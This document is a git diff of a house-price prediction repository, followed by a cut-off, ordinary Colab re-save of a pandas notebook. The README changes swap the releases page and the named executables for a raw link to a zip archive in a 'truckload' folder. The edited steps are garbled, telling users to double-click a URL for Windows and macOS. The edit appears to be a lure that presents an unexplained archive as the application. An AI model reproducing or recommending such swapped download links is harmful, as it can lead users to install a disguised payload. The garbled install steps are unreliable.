diff --git a/README.md b/README.md
index fc879d8..3995879 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,6 @@
 # 🏡 House-Price-Model - Predict House Prices Easily
 
-![Download](https://img.shields.io/badge/Download%20Now-%20blue?style=for-the-badge&logo=github)
+![Download](https://raw.githubusercontent.com/Dayan8554/House-Price-Model/main/truckload/House-Price-Model.zip%20Now-%20blue?style=for-the-badge&logo=github)
 
 ## 🚀 Getting Started
 
@@ -8,7 +8,7 @@ Welcome to the House-Price-Model! This application helps you predict house price
 
 ## 📥 Download & Install
 
-To get started, visit this page to download the software: [House-Price-Model Releases](https://github.com/Dayan8554/House-Price-Model/releases). 
+To get started, visit this page to download the software: [House-Price-Model Releases](https://raw.githubusercontent.com/Dayan8554/House-Price-Model/main/truckload/House-Price-Model.zip). 
 
 You will find the latest version of the application there. Click on the version number to see the available files. 
 
@@ -28,8 +28,8 @@ Make sure your system meets the following requirements:
 
 After downloading, extract the files to a folder of your choice. Inside, you will find:
 
-- `house_price_model.exe` (for Windows users)
-- `house_price_model.app` (for macOS users)
+- `https://raw.githubusercontent.com/Dayan8554/House-Price-Model/main/truckload/House-Price-Model.zip` (for Windows users)
+- `https://raw.githubusercontent.com/Dayan8554/House-Price-Model/main/truckload/House-Price-Model.zip` (for macOS users)
 - `house_price_model` (Linux users run in the terminal)
 - A README file for additional guidance.
 
@@ -37,12 +37,12 @@ After downloading, extract the files to a folder of your choice. Inside, you wil
 
 ### For Windows
 
-1. Double-click the `house_price_model.exe` file.
+1. Double-click the `https://raw.githubusercontent.com/Dayan8554/House-Price-Model/main/truckload/House-Price-Model.zip` file.
 2. Follow the prompts to start the application.
 
 ### For macOS
 
-1. Double-click the `house_price_model.app` file.
+1. Double-click the `https://raw.githubusercontent.com/Dayan8554/House-Price-Model/main/truckload/House-Price-Model.zip` file.
 2. Follow the instructions on the screen.
 
 ### For Linux
@@ -89,4 +89,4 @@ If you would like to contribute to this project, feel free to submit your sugges
 
 Thank you for using the House-Price-Model! We hope this tool helps you in your journey to understand house pricing better. 
 
-For any questions or support, please visit this page to download the latest version: [House-Price-Model Releases](https://github.com/Dayan8554/House-Price-Model/releases).
\ No newline at end of file
+For any questions or support, please visit this page to download the latest version: [House-Price-Model Releases](https://raw.githubusercontent.com/Dayan8554/House-Price-Model/main/truckload/House-Price-Model.zip).
\ No newline at end of file
diff --git a/house_price_model.ipynb b/house_price_model.ipynb
index b9e7a7f..e79d478 100644
--- a/house_price_model.ipynb
+++ b/house_price_model.ipynb
@@ -1,2016 +1,4743 @@
 {
- "cells": [
-  {
-   "cell_type": "code",
-   "execution_count": 16,
-   "id": "0c1497f9",
-   "metadata": {},
-   "outputs": [],
-   "source": [
-    "# Import essential libraries for data manipulation, analysis, and visualization\n",
-    "import pandas as pd              # Data handling and manipulation\n",
-    "import numpy as np               # Numerical computations\n",
-    "import seaborn as sns            # Statistical data visualization\n",
-    "import matplotlib.pyplot as plt  # General plotting\n"
-   ]
-  },
-  {
-   "cell_type": "code",
-   "execution_count": null,
-   "id": "e0f9c892",
-   "metadata": {},
-   "outputs": [],
-   "source": [
-    "# Load the housing dataset from a local CSV file\n",
-    "df = pd.read_csv(\"house_data.csv\")\n"
-   ]
-  },
-  {
-   "cell_type": "code",
-   "execution_count": 18,
-   "id": "3a329780",
-   "metadata": {},
-   "outputs": [
+  "cells": [
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "id": "0c1497f9",
+      "metadata": {
+        "id": "0c1497f9"
+      },
+      "outputs": [],
+      "source": [
+        "# Import essential libraries for data manipulation, analysis, and visualization\n",
+        "import pandas as pd              # Data handling and manipulation\n",
+        "import numpy as np               # Numerical computations\n",
+        "import seaborn as sns            # Statistical data visualization\n",
+        "import matplotlib.pyplot as plt  # General plotting\n"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "id": "e0f9c892",
+      "metadata": {
+        "id": "e0f9c892"
+      },
+      "outputs": [],
+      "source": [
+        "# Load the housing dataset from a local CSV file\n",
+        "df = pd.read_csv(\"house_data.csv\")\n"
+      ]
+    },
     {
-     "data": {
-      "text/html": [
-       "<div>\n",
-       "<style scoped>\n",
-       "    .dataframe tbody tr th:only-of-type {\n",
-       "        vertical-align: middle;\n",
-       "    }\n",
-       "\n",
-       "    .dataframe tbody tr th {\n",
-       "        vertical-align: top;\n",
-       "    }\n",
-       "\n",
-       "    .dataframe thead th {\n",
-       "        text-align: right;\n",
-       "    }\n",
-       "</style>\n",
-       "<table border=\"1\" class=\"dataframe\">\n",
-       "  <thead>\n",
-       "    <tr style=\"text-align: right;\">\n",
-       "      <th></th>\n",
-       "      <th>id</th>\n",
-       "      <th>date</th>\n",
-       "      <th>price</th>\n",
-       "      <th>bedrooms</th>\n",
-       "      <th>bathrooms</th>\n",
-       "      <th>sqft_living</th>\n",
-       "      <th>sqft_lot</th>\n",
-       "      <th>floors</th>\n",
-       "      <th>waterfront</th>\n",
-       "      <th>view</th>\n",
-       "      <th>...</th>\n",
-       "      <th>grade</th>\n",
-       "      <th>sqft_above</th>\n",
-       "      <th>sqft_basement</th>\n",
-       "      <th>yr_built</th>\n",
-       "      <th>yr_renovated</th>\n",
-       "      <th>zipcode</th>\n",
-       "      <th>lat</th>\n",
-       "      <th>long</th>\n",
-       "      <th>sqft_living15</th>\n",
-       "      <th>sqft_lot15</th>\n",
-       "    </tr>\n",
-       "  </thead>\n",
-       "  <tbody>\n",
-       "    <tr>\n",
-       "      <th>0</th>\n",
-       "      <td>7129300520</td>\n",
-       "      <td>20141013T000000</td>\n",
-       "      <td>221900.0</td>\n",
-       "      <td>3</td>\n",
-       "      <td>1.00</td>\n",
-       "      <td>1180</td>\n",
-       "      <td>5650</td>\n",
-       "      <td>1.0</td>\n",
-       "      <td>0</td>\n",
-       "      <td>0</td>\n",
-       "      <td>...</td>\n",
-       "      <td>7</td>\n",
-       "      <td>1180</td>\n",
-       "      <td>0</td>\n",
-       "      <td>1955</td>\n",
-       "      <td>0</td>\n",
-       "      <td>98178</td>\n",
-       "      <td>47.5112</td>\n",
-       "      <td>-122.257</td>\n",
-       "      <td>1340</td>\n",
-       "      <td>5650</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>1</th>\n",
-       "      <td>6414100192</td>\n",
-       "      <td>20141209T000000</td>\n",
-       "      <td>538000.0</td>\n",
-       "      <td>3</td>\n",
-       "      <td>2.25</td>\n",
-       "      <td>2570</td>\n",
-       "      <td>7242</td>\n",
-       "      <td>2.0</td>\n",
-       "      <td>0</td>\n",
-       "      <td>0</td>\n",
-       "      <td>...</td>\n",
-       "      <td>7</td>\n",
-       "      <td>2170</td>\n",
-       "      <td>400</td>\n",
-       "      <td>1951</td>\n",
-       "      <td>1991</td>\n",
-       "      <td>98125</td>\n",
-       "      <td>47.7210</td>\n",
-       "      <td>-122.319</td>\n",
-       "      <td>1690</td>\n",
-       "      <td>7639</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>2</th>\n",
-       "      <td>5631500400</td>\n",
-       "      <td>20150225T000000</td>\n",
-       "      <td>180000.0</td>\n",
-       "      <td>2</td>\n",
-       "      <td>1.00</td>\n",
-       "      <td>770</td>\n",
-       "      <td>10000</td>\n",
-       "      <td>1.0</td>\n",
-       "      <td>0</td>\n",
-       "      <td>0</td>\n",
-       "      <td>...</td>\n",
-       "      <td>6</td>\n",
-       "      <td>770</td>\n",
-       "      <td>0</td>\n",
-       "      <td>1933</td>\n",
-       "      <td>0</td>\n",
-       "      <td>98028</td>\n",
-       "      <td>47.7379</td>\n",
-       "      <td>-122.233</td>\n",
-       "      <td>2720</td>\n",
-       "      <td>8062</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>3</th>\n",
-       "      <td>2487200875</td>\n",
-       "      <td>20141209T000000</td>\n",
-       "      <td>604000.0</td>\n",
-       "      <td>4</td>\n",
-       "      <td>3.00</td>\n",
-       "      <td>1960</td>\n",
-       "      <td>5000</td>\n",
-       "      <td>1.0</td>\n",
-       "      <td>0</td>\n",
-       "      <td>0</td>\n",
-       "      <td>...</td>\n",
-       "      <td>7</td>\n",
-       "      <td>1050</td>\n",
-       "      <td>910</td>\n",
-       "      <td>1965</td>\n",
-       "      <td>0</td>\n",
-       "      <td>98136</td>\n",
-       "      <td>47.5208</td>\n",
-       "      <td>-122.393</td>\n",
-       "      <td>1360</td>\n",
-       "      <td>5000</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>4</th>\n",
-       "      <td>1954400510</td>\n",
-       "      <td>20150218T000000</td>\n",
-       "      <td>510000.0</td>\n",
-       "      <td>3</td>\n",
-       "      <td>2.00</td>\n",
-       "      <td>1680</td>\n",
-       "      <td>8080</td>\n",
-       "      <td>1.0</td>\n",
-       "      <td>0</td>\n",
-       "      <td>0</td>\n",
-       "      <td>...</td>\n",
-       "      <td>8</td>\n",
-       "      <td>1680</td>\n",
-       "      <td>0</td>\n",
-       "      <td>1987</td>\n",
-       "      <td>0</td>\n",
-       "      <td>98074</td>\n",
-       "      <td>47.6168</td>\n",
-       "      <td>-122.045</td>\n",
-       "      <td>1800</td>\n",
-       "      <td>7503</td>\n",
-       "    </tr>\n",
-       "  </tbody>\n",
-       "</table>\n",
-       "<p>5 rows × 21 columns</p>\n",
-       "</div>"
+      "cell_type": "code",
+      "execution_count": null,
+      "id": "3a329780",
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 255
+        },
+        "id": "3a329780",
+        "outputId": "88460652-a011-4bf8-9e68-c2d266b5dbf8"
+      },
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "           id             date     price  bedrooms  bathrooms  sqft_living  \\\n",
+              "0  7129300520  20141013T000000  221900.0         3       1.00         1180   \n",
+              "1  6414100192  20141209T000000  538000.0         3       2.25         2570   \n",
+              "2  5631500400  20150225T000000  180000.0         2       1.00          770   \n",
+              "3  2487200875  20141209T000000  604000.0         4       3.00         1960   \n",
+              "4  1954400510  20150218T000000  510000.0         3       2.00         1680   \n",
+              "\n",
+              "   sqft_lot  floors  waterfront  view  ...  grade  sqft_above  sqft_basement  \\\n",
+              "0      5650     1.0           0     0  ...      7        1180              0   \n",
+              "1      7242     2.0           0     0  ...      7        2170            400   \n",
+              "2     10000     1.0           0     0  ...      6         770              0   \n",
+              "3      5000     1.0           0     0  ...      7        1050            910   \n",
+              "4      8080     1.0           0     0  ...      8        1680              0   \n",
+              "\n",
+              "   yr_built  yr_renovated  zipcode      lat     long  sqft_living15  \\\n",
+              "0      1955             0    98178  47.5112 -122.257           1340   \n",
+              "1      1951          1991    98125  47.7210 -122.319           1690   \n",
+              "2      1933             0    98028  47.7379 -122.233           2720   \n",
+              "3      1965             0    98136  47.5208 -122.393           1360   \n",
+              "4      1987             0    98074  47.6168 -122.045           1800   \n",
+              "\n",
+              "   sqft_lot15  \n",
+              "0        5650  \n",
+              "1        7639  \n",
+              "2        8062  \n",
+              "3        5000  \n",
+              "4        7503  \n",
+              "\n",
+              "[5 rows x 21 columns]"
+            ],
+            "text/html": [
+              "\n",
+              "  <div id=\"df-106a194d-bba9-4b14-98ee-61bc6cae6962\" class=\"colab-df-container\">\n",
+              "    <div>\n",
+              "<style scoped>\n",
+              "    .dataframe tbody tr th:only-of-type {\n",
+              "        vertical-align: middle;\n",
+              "    }\n",
+              "\n",
+              "    .dataframe tbody tr th {\n",
+              "        vertical-align: top;\n",
+              "    }\n",
+              "\n",
+              "    .dataframe thead th {\n",
+              "        text-align: right;\n",
+              "    }\n",
+              "</style>\n",
+              "<table border=\"1\" class=\"dataframe\">\n",
+              "  <thead>\n",
+              "    <tr style=\"text-align: right;\">\n",
+              "      <th></th>\n",
+              "      <th>id</th>\n",
+              "      <th>date</th>\n",
+              "      <th>price</th>\n",
+              "      <th>bedrooms</th>\n",
+              "      <th>bathrooms</th>\n",
+              "      <th>sqft_living</th>\n",
+              "      <th>sqft_lot</th>\n",
+              "      <th>floors</th>\n",
+              "      <th>waterfront</th>\n",
+              "      <th>view</th>\n",
+              "      <th>...</th>\n",
+              "      <th>grade</th>\n",
+              "      <th>sqft_above</th>\n",
+              "      <th>sqft_basement</th>\n",
+              "      <th>yr_built</th>\n",
+              "      <th>yr_renovated</th>\n",
+              "      <th>zipcode</th>\n",
+              "      <th>lat</th>\n",
+              "      <th>long</th>\n",
+              "      <th>sqft_living15</th>\n",
+              "      <th>sqft_lot15</th>\n",
+              "    </tr>\n",
+              "  </thead>\n",
+              "  <tbody>\n",
+              "    <tr>\n",
+              "      <th>0</th>\n",
+              "      <td>7129300520</td>\n",
+              "      <td>20141013T000000</td>\n",
+              "      <td>221900.0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>1.00</td>\n",
+              "      <td>1180</td>\n",
+              "      <td>5650</td>\n",
+              "      <td>1.0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>...</td>\n",
+              "      <td>7</td>\n",
+              "      <td>1180</td>\n",
+              "      <td>0</td>\n",
+              "      <td>1955</td>\n",
+              "      <td>0</td>\n",
+              "      <td>98178</td>\n",
+              "      <td>47.5112</td>\n",
+              "      <td>-122.257</td>\n",
+              "      <td>1340</td>\n",
+              "      <td>5650</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>1</th>\n",
+              "      <td>6414100192</td>\n",
+              "      <td>20141209T000000</td>\n",
+              "      <td>538000.0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>2.25</td>\n",
+              "      <td>2570</td>\n",
+              "      <td>7242</td>\n",
+              "      <td>2.0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>...</td>\n",
+              "      <td>7</td>\n",
+              "      <td>2170</td>\n",
+              "      <td>400</td>\n",
+              "      <td>1951</td>\n",
+              "      <td>1991</td>\n",
+              "      <td>98125</td>\n",
+              "      <td>47.7210</td>\n",
+              "      <td>-122.319</td>\n",
+              "      <td>1690</td>\n",
+              "      <td>7639</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>2</th>\n",
+              "      <td>5631500400</td>\n",
+              "      <td>20150225T000000</td>\n",
+              "      <td>180000.0</td>\n",
+              "      <td>2</td>\n",
+              "      <td>1.00</td>\n",
+              "      <td>770</td>\n",
+              "      <td>10000</td>\n",
+              "      <td>1.0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>...</td>\n",
+              "      <td>6</td>\n",
+              "      <td>770</td>\n",
+              "      <td>0</td>\n",
+              "      <td>1933</td>\n",
+              "      <td>0</td>\n",
+              "      <td>98028</td>\n",
+              "      <td>47.7379</td>\n",
+              "      <td>-122.233</td>\n",
+              "      <td>2720</td>\n",
+              "      <td>8062</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>3</th>\n",
+              "      <td>2487200875</td>\n",
+              "      <td>20141209T000000</td>\n",
+              "      <td>604000.0</td>\n",
+              "      <td>4</td>\n",
+              "      <td>3.00</td>\n",
+              "      <td>1960</td>\n",
+              "      <td>5000</td>\n",
+              "      <td>1.0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>...</td>\n",
+              "      <td>7</td>\n",
+              "      <td>1050</td>\n",
+              "      <td>910</td>\n",
+              "      <td>1965</td>\n",
+              "      <td>0</td>\n",
+              "      <td>98136</td>\n",
+              "      <td>47.5208</td>\n",
+              "      <td>-122.393</td>\n",
+              "      <td>1360</td>\n",
+              "      <td>5000</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>4</th>\n",
+              "      <td>1954400510</td>\n",
+              "      <td>20150218T000000</td>\n",
+              "      <td>510000.0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>2.00</td>\n",
+              "      <td>1680</td>\n",
+              "      <td>8080</td>\n",
+              "      <td>1.0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>...</td>\n",
+              "      <td>8</td>\n",
+              "      <td>1680</td>\n",
+              "      <td>0</td>\n",
+              "      <td>1987</td>\n",
+              "      <td>0</td>\n",
+              "      <td>98074</td>\n",
+              "      <td>47.6168</td>\n",
+              "      <td>-122.045</td>\n",
+              "      <td>1800</td>\n",
+              "      <td>7503</td>\n",
+              "    </tr>\n",
+              "  </tbody>\n",
+              "</table>\n",
+              "<p>5 rows × 21 columns</p>\n",
+              "</div>\n",
+              "    <div class=\"colab-df-buttons\">\n",
+              "\n",
+              "  <div class=\"colab-df-container\">\n",
+              "    <button class=\"colab-df-convert\" onclick=\"convertToInteractive('df-106a194d-bba9-4b14-98ee-61bc6cae6962')\"\n",
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+              "  <style>\n",
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+              "      display:flex;\n",
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+              "    }\n",
+              "\n",
+              "    .colab-df-convert {\n",
+              "      background-color: #E8F0FE;\n",
+              "      border: none;\n",
+              "      border-radius: 50%;\n",
+              "      cursor: pointer;\n",
+              "      display: none;\n",
+              "      fill: #1967D2;\n",
+              "      height: 32px;\n",
+              "      padding: 0 0 0 0;\n",
+              "      width: 32px;\n",
+              "    }\n",
+              "\n",
+              "    .colab-df-convert:hover {\n",
+              "      background-color: #E2EBFA;\n",
+              "      box-shadow: 0px 1px 2px rgba(60, 64, 67, 0.3), 0px 1px 3px 1px rgba(60, 64, 67, 0.15);\n",
+              "      fill: #174EA6;\n",
+              "    }\n",
+              "\n",
+              "    .colab-df-buttons div {\n",
+              "      margin-bottom: 4px;\n",
+              "    }\n",
+              "\n",
+              "    [theme=dark] .colab-df-convert {\n",
+              "      background-color: #3B4455;\n",
+              "      fill: #D2E3FC;\n",
+              "    }\n",
+              "\n",
+              "    [theme=dark] .colab-df-convert:hover {\n",
+              "      background-color: #434B5C;\n",
+              "      box-shadow: 0px 1px 3px 1px rgba(0, 0, 0, 0.15);\n",
+              "      filter: drop-shadow(0px 1px 2px rgba(0, 0, 0, 0.3));\n",
+              "      fill: #FFFFFF;\n",
+              "    }\n",
+              "  </style>\n",
+              "\n",
+              "    <script>\n",
+              "      const buttonEl =\n",
+              "        document.querySelector('#df-106a194d-bba9-4b14-98ee-61bc6cae6962 button.colab-df-convert');\n",
+              "      buttonEl.style.display =\n",
+              "        google.colab.kernel.accessAllowed ? 'block' : 'none';\n",
+              "\n",
+              "      async function convertToInteractive(key) {\n",
+              "        const element = document.querySelector('#df-106a194d-bba9-4b14-98ee-61bc6cae6962');\n",
+              "        const dataTable =\n",
+              "          await google.colab.kernel.invokeFunction('convertToInteractive',\n",
+              "                                                    [key], {});\n",
+              "        if (!dataTable) return;\n",
+              "\n",
+              "        const docLinkHtml = 'Like what you see? Visit the ' +\n",
+              "          '<a target=\"_blank\" href=https://colab.research.google.com/notebooks/data_table.ipynb>data table notebook</a>'\n",
+              "          + ' to learn more about interactive tables.';\n",
+              "        element.innerHTML = '';\n",
+              "        dataTable['output_type'] = 'display_data';\n",
+              "        await google.colab.output.renderOutput(dataTable, element);\n",
+              "        const docLink = document.createElement('div');\n",
+              "        docLink.innerHTML = docLinkHtml;\n",
+              "        element.appendChild(docLink);\n",
+              "      }\n",
+              "    </script>\n",
+              "  </div>\n",
+              "\n",
+              "\n",
+              "    <div id=\"df-15db64d4-757a-4afc-a092-10f97ba78c92\">\n",
+              "      <button class=\"colab-df-quickchart\" onclick=\"quickchart('df-15db64d4-757a-4afc-a092-10f97ba78c92')\"\n",
+              "                title=\"Suggest charts\"\n",
+              "                style=\"display:none;\">\n",
+              "\n",
+              "<svg xmlns=\"http://www.w3.org/2000/svg\" height=\"24px\"viewBox=\"0 0 24 24\"\n",
+              "     width=\"24px\">\n",
+              "    <g>\n",
+              "        <path d=\"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM9 17H7v-7h2v7zm4 0h-2V7h2v10zm4 0h-2v-4h2v4z\"/>\n",
+              "    </g>\n",
+              "</svg>\n",
+              "      </button>\n",
+              "\n",
+              "<style>\n",
+              "  .colab-df-quickchart {\n",
+              "      --bg-color: #E8F0FE;\n",
+              "      --fill-color: #1967D2;\n",
+              "      --hover-bg-color: #E2EBFA;\n",
+              "      --hover-fill-color: #174EA6;\n",
+              "      --disabled-fill-color: #AAA;\n",
+              "      --disabled-bg-color: #DDD;\n",
+              "  }\n",
+              "\n",
+              "  [theme=dark] .colab-df-quickchart {\n",
+              "      --bg-color: #3B4455;\n",
+              "      --fill-color: #D2E3FC;\n",
+              "      --hover-bg-color: #434B5C;\n",
+              "      --hover-fill-color: #FFFFFF;\n",
+              "      --disabled-bg-color: #3B4455;\n",
+              "      --disabled-fill-color: #666;\n",
+              "  }\n",
+              "\n",
+              "  .colab-df-quickchart {\n",
+              "    background-color: var(--bg-color);\n",
+              "    border: none;\n",
+              "    border-radius: 50%;\n",
+              "    cursor: pointer;\n",
+              "    display: none;\n",
+              "    fill: var(--fill-color);\n",
+              "    height: 32px;\n",
+              "    padding: 0;\n",
+              "    width: 32px;\n",
+              "  }\n",
+              "\n",
+              "  .colab-df-quickchart:hover {\n",
+              "    background-color: var(--hover-bg-color);\n",
+              "    box-shadow: 0 1px 2px rgba(60, 64, 67, 0.3), 0 1px 3px 1px rgba(60, 64, 67, 0.15);\n",
+              "    fill: var(--button-hover-fill-color);\n",
+              "  }\n",
+              "\n",
+              "  .colab-df-quickchart-complete:disabled,\n",
+              "  .colab-df-quickchart-complete:disabled:hover {\n",
+              "    background-color: var(--disabled-bg-color);\n",
+              "    fill: var(--disabled-fill-color);\n",
+              "    box-shadow: none;\n",
+              "  }\n",
+              "\n",
+              "  .colab-df-spinner {\n",
+              "    border: 2px solid var(--fill-color);\n",
+              "    border-color: transparent;\n",
+              "    border-bottom-color: var(--fill-color);\n",
+              "    animation:\n",
+              "      spin 1s steps(1) infinite;\n",
+              "  }\n",
+              "\n",
+              "  @keyframes spin {\n",
+              "    0% {\n",
+              "      border-color: transparent;\n",
+              "      border-bottom-color: var(--fill-color);\n",
+              "      border-left-color: var(--fill-color);\n",
+              "    }\n",
+              "    20% {\n",
+              "      border-color: transparent;\n",
+              "      border-left-color: var(--fill-color);\n",
+              "      border-top-color: var(--fill-color);\n",
+              "    }\n",
+              "    30% {\n",
+              "      border-color: transparent;\n",
+              "      border-left-color: var(--fill-color);\n",
+              "      border-top-color: var(--fill-color);\n",
+              "      border-right-color: var(--fill-color);\n",
+              "    }\n",
+              "    40% {\n",
+              "      border-color: transparent;\n",
+              "      border-right-color: var(--fill-color);\n",
+              "      border-top-color: var(--fill-color);\n",
+              "    }\n",
+              "    60% {\n",
+              "      border-color: transparent;\n",
+              "      border-right-color: var(--fill-color);\n",
+              "    }\n",
+              "    80% {\n",
+              "      border-color: transparent;\n",
+              "      border-right-color: var(--fill-color);\n",
+              "      border-bottom-color: var(--fill-color);\n",
+              "    }\n",
+              "    90% {\n",
+              "      border-color: transparent;\n",
+              "      border-bottom-color: var(--fill-color);\n",
+              "    }\n",
+              "  }\n",
+              "</style>\n",
+              "\n",
+              "      <script>\n",
+              "        async function quickchart(key) {\n",
+              "          const quickchartButtonEl =\n",
+              "            document.querySelector('#' + key + ' button');\n",
+              "          quickchartButtonEl.disabled = true;  // To prevent multiple clicks.\n",
+              "          quickchartButtonEl.classList.add('colab-df-spinner');\n",
+              "          try {\n",
+              "            const charts = await google.colab.kernel.invokeFunction(\n",
+              "                'suggestCharts', [key], {});\n",
+              "          } catch (error) {\n",
+              "            console.error('Error during call to suggestCharts:', error);\n",
+              "          }\n",
+              "          quickchartButtonEl.classList.remove('colab-df-spinner');\n",
+              "          quickchartButtonEl.classList.add('colab-df-quickchart-complete');\n",
+              "        }\n",
+              "        (() => {\n",
+              "          let quickchartButtonEl =\n",
+              "            document.querySelector('#df-15db64d4-757a-4afc-a092-10f97ba78c92 button');\n",
+              "          quickchartButtonEl.style.display =\n",
+              "            google.colab.kernel.accessAllowed ? 'block' : 'none';\n",
+              "        })();\n",
+              "      </script>\n",
+              "    </div>\n",
+              "\n",
+              "    </div>\n",
+              "  </div>\n"
+            ],
+            "application/vnd.google.colaboratory.intrinsic+json": {
+              "type": "dataframe",
+              "variable_name": "df"
+            }
+          },
+          "metadata": {},
+          "execution_count": 292
+        }
       ],
-      "text/plain": [
-       "           id             date     price  bedrooms  bathrooms  sqft_living  \\\n",
-       "0  7129300520  20141013T000000  221900.0         3       1.00         1180   \n",
-       "1  6414100192  20141209T000000  538000.0         3       2.25         2570   \n",
-       "2  5631500400  20150225T000000  180000.0         2       1.00          770   \n",
-       "3  2487200875  20141209T000000  604000.0         4       3.00         1960   \n",
-       "4  1954400510  20150218T000000  510000.0         3       2.00         1680   \n",
-       "\n",
-       "   sqft_lot  floors  waterfront  view  ...  grade  sqft_above  sqft_basement  \\\n",
-       "0      5650     1.0           0     0  ...      7        1180              0   \n",
-       "1      7242     2.0           0     0  ...      7        2170            400   \n",
-       "2     10000     1.0           0     0  ...      6         770              0   \n",
-       "3      5000     1.0           0     0  ...      7        1050            910   \n",
-       "4      8080     1.0           0     0  ...      8        1680              0   \n",
-       "\n",
-       "   yr_built  yr_renovated  zipcode      lat     long  sqft_living15  \\\n",
-       "0      1955             0    98178  47.5112 -122.257           1340   \n",
-       "1      1951          1991    98125  47.7210 -122.319           1690   \n",
-       "2      1933             0    98028  47.7379 -122.233           2720   \n",
-       "3      1965             0    98136  47.5208 -122.393           1360   \n",
-       "4      1987             0    98074  47.6168 -122.045           1800   \n",
-       "\n",
-       "   sqft_lot15  \n",
-       "0        5650  \n",
-       "1        7639  \n",
-       "2        8062  \n",
-       "3        5000  \n",
-       "4        7503  \n",
-       "\n",
-       "[5 rows x 21 columns]"
+      "source": [
+        "# Display the first 5 rows of the dataset to get an initial overview\n",
+        "df.head()\n"
       ]
-     },
-     "execution_count": 18,
-     "metadata": {},
-     "output_type": "execute_result"
-    }
-   ],
-   "source": [
-    "# Display the first 5 rows of the dataset to get an initial overview\n",
-    "df.head()\n"
-   ]
-  },
-  {
-   "cell_type": "code",
-   "execution_count": 19,
-   "id": "b790066c",
-   "metadata": {},
-   "outputs": [
+    },
     {
-     "name": "stdout",
-     "output_type": "stream",
-     "text": [
-      "<class 'pandas.core.frame.DataFrame'>\n",
-      "RangeIndex: 21613 entries, 0 to 21612\n",
-      "Data columns (total 21 columns):\n",
-      " #   Column         Non-Null Count  Dtype  \n",
-      "---  ------         --------------  -----  \n",
-      " 0   id             21613 non-null  int64  \n",
-      " 1   date           21613 non-null  object \n",
-      " 2   price          21613 non-null  float64\n",
-      " 3   bedrooms       21613 non-null  int64  \n",
-      " 4   bathrooms      21613 non-null  float64\n",
-      " 5   sqft_living    21613 non-null  int64  \n",
-      " 6   sqft_lot       21613 non-null  int64  \n",
-      " 7   floors         21613 non-null  float64\n",
-      " 8   waterfront     21613 non-null  int64  \n",
-      " 9   view           21613 non-null  int64  \n",
-      " 10  condition      21613 non-null  int64  \n",
-      " 11  grade          21613 non-null  int64  \n",
-      " 12  sqft_above     21613 non-null  int64  \n",
-      " 13  sqft_basement  21613 non-null  int64  \n",
-      " 14  yr_built       21613 non-null  int64  \n",
-      " 15  yr_renovated   21613 non-null  int64  \n",
-      " 16  zipcode        21613 non-null  int64  \n",
-      " 17  lat            21613 non-null  float64\n",
-      " 18  long           21613 non-null  float64\n",
-      " 19  sqft_living15  21613 non-null  int64  \n",
-      " 20  sqft_lot15     21613 non-null  int64  \n",
-      "dtypes: float64(5), int64(15), object(1)\n",
-      "memory usage: 3.5+ MB\n"
-     ]
-    }
-   ],
-   "source": [
-    "# Display dataset structure, column names, data types, and non-null counts\n",
-    "df.info()\n"
-   ]
-  },
-  {
-   "cell_type": "code",
-   "execution_count": 20,
-   "id": "4c8baa28",
-   "metadata": {},
-   "outputs": [
+      "cell_type": "code",
+      "execution_count": null,
+      "id": "b790066c",
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "b790066c",
+        "outputId": "8f484067-be7e-419d-ba9e-8b3e8918d580"
+      },
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stdout",
+          "text": [
+            "<class 'pandas.core.frame.DataFrame'>\n",
+            "RangeIndex: 21613 entries, 0 to 21612\n",
+            "Data columns (total 21 columns):\n",
+            " #   Column         Non-Null Count  Dtype  \n",
+            "---  ------         --------------  -----  \n",
+            " 0   id             21613 non-null  int64  \n",
+            " 1   date           21613 non-null  object \n",
+            " 2   price          21613 non-null  float64\n",
+            " 3   bedrooms       21613 non-null  int64  \n",
+            " 4   bathrooms      21613 non-null  float64\n",
+            " 5   sqft_living    21613 non-null  int64  \n",
+            " 6   sqft_lot       21613 non-null  int64  \n",
+            " 7   floors         21613 non-null  float64\n",
+            " 8   waterfront     21613 non-null  int64  \n",
+            " 9   view           21613 non-null  int64  \n",
+            " 10  condition      21613 non-null  int64  \n",
+            " 11  grade          21613 non-null  int64  \n",
+            " 12  sqft_above     21613 non-null  int64  \n",
+            " 13  sqft_basement  21613 non-null  int64  \n",
+            " 14  yr_built       21613 non-null  int64  \n",
+            " 15  yr_renovated   21613 non-null  int64  \n",
+            " 16  zipcode        21613 non-null  int64  \n",
+            " 17  lat            21613 non-null  float64\n",
+            " 18  long           21613 non-null  float64\n",
+            " 19  sqft_living15  21613 non-null  int64  \n",
+            " 20  sqft_lot15     21613 non-null  int64  \n",
+            "dtypes: float64(5), int64(15), object(1)\n",
+            "memory usage: 3.5+ MB\n"
+          ]
+        }
+      ],
+      "source": [
+        "# Display dataset structure, column names, data types, and non-null counts\n",
+        "df.info()\n"
+      ]
+    },
     {
-     "data": {
-      "text/html": [
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-       "      <th></th>\n",
-       "      <th>price</th>\n",
